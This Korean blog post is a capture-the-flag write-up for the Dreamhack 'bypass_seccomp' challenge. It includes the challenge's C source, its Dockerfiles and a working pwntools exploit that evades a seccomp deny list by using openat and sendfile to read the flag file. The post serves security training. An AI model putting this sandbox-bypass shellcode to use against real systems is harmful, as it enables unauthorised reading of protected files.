제공 Dockerfile
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
ENV user bypass_seccomp
ENV chall_port 7182
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
Dockerfile (수정)
FROM ubuntu:22.04
ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8
RUN apt update
RUN apt install -y \
gcc \
git \
python3 \
python3-pip \
ruby \
sudo \
tmux \
vim \
wget
# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh
# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools
# install one_gadget command
RUN gem install one_gadget -v 1.6.2
WORKDIR /root
COPY . /root
bypass_seccomp.c
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
pwndbg> checksec
[*] '/root/bypass_seccomp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
코드 분석
일단 SECCOMP 규칙에 open execve execveat write 를 Deny 하는 규칙이 있다.
쉘코드를 읽는 기본 c 코드가 있으니, 허용되는 openat 같은 명령어를 통해 flag 파일을 실행시켜보라는 문제로 보인다.
그리고 shellcode 에 무언갈 적는것 말고는 아무것도 할 수가 없다 (fsb, bof 등등)
카나리를 제외하고 모든 보안기법이 걸려있으니 쉘 코드를 맞게 잘 적으면 될 거 같다
익스플로잇 코드 구하기
c 코드가 있어 전부 나와있지만 seccomp 명령어도 한번 써서 확인해주고,
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
그리고 저기있는 0003과 0004 는 코드에 안나타나있길래 찾아보니,
커널 우회 공격을 방지하기 위해 저절로 삽입되는 조건이라고 한다.
openat("./flag") → read 로 파일을 읽고 그 뒤에 어떻게 이걸 적어내는게 문제인데, 여기선 sendfile 함수를 사용하면 된다.
이제 익스플로잇 코드를 작성할건데,
자세한 코드 설명은 코드 아래에 적어두겠다.
대략적인 순서는 이렇다.
- 읽고 싶은 파일을 먼저 열고
- 로컬에서:
/home/alex030905/pwnable/SECCOMP/Bypass_SECCOMP/flag - 서버에서:
/home/bypass_seccomp/flag
- 로컬에서:
- 파일 디스크립터(fd)를 가져온 뒤,
sendfile을 사용해 stdout (1)으로 전송하고exit(0)으로 종료
이런 순서로 흘러간다.
익스플로잇 코드
from pwn import *
context.arch = 'x86_64'
p = process('./bypass_seccomp')
# p = remote('host3.dreamhack.games', 8599)
shellcode = shellcraft.openat(0, '/home/alex030905/pwnable/SECCOMP/Bypass_SECCOMP/flag')
# shellcode = shellcraft.openat(0, '/home/bypass_seccomp/flag')
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','')
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()
코드설명
shellcode = shellcraft.openat(0, '/home/alex030905/pwnable/SECCOMP/Bypass_SECCOMP/flag')
openat 함수를 사용할건데 이 함수의 원형은 아래와 같다.
int openat(int dirfd, const char *pathname, int flags, mode_t mode)
여기서 dirfd = 0으로 현재 디렉토리를 기준으로 하고,
flags = O_RDONLY, mode = 0 으로 생략되고 경로는 flag 파일이 있는 곳으로 해준다.
그리고 반환값는 rax = fd 이다.
서버로 날린 때는 /home/bypass_seccomp/flag으로 해준다.
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','')
shellcode += shellcraft.exit(0)
mov r10, 0xffff는 r10을 65535로 전송할 최대 바이트 수를 지정해주는 용도이다.sendfile syscall에서 count 인자에 들어갈 값이다. 네번째 인자로 들어가므로 이렇게 직접 설정해준거다.
sendfile 함수의 원형은 아래와 같다.
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
인자는 순서대로 1 (stdout), rax (이전 syscall 결과, flag 파일 fd임), 0 , r10
으로 설정해준셈이다.
.replace('xor r10d, r10d', '') 을 사용한 이유는 shellcraft.sendfile()은 count=0 으로 설정되어서 우리가 설정한 r10 값을 쓰기 위해서이다.
그리고 마지막으로 exit 시키기
이제 실행을 해보면
잘 나오는 것을 볼 수 있다.
서버에서도 실행시켜보면,
이렇게 답을 구해냈다.
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Exploit Tech: Master Canary (1) | 2026.04.16 |
|---|---|
| [Pwnable Advanced] Seccomp (0) | 2026.04.15 |
| [Pwnable Advanced] Exercise: basic_exploitation_002 & basic_exploitation_003 (0) | 2026.04.15 |
| [Pwnable Advanced] Exploit Tech: Format String Bug (0) | 2026.04.15 |
| [Pwnable] Exploit Tech: Out of bounds (0) | 2026.04.15 |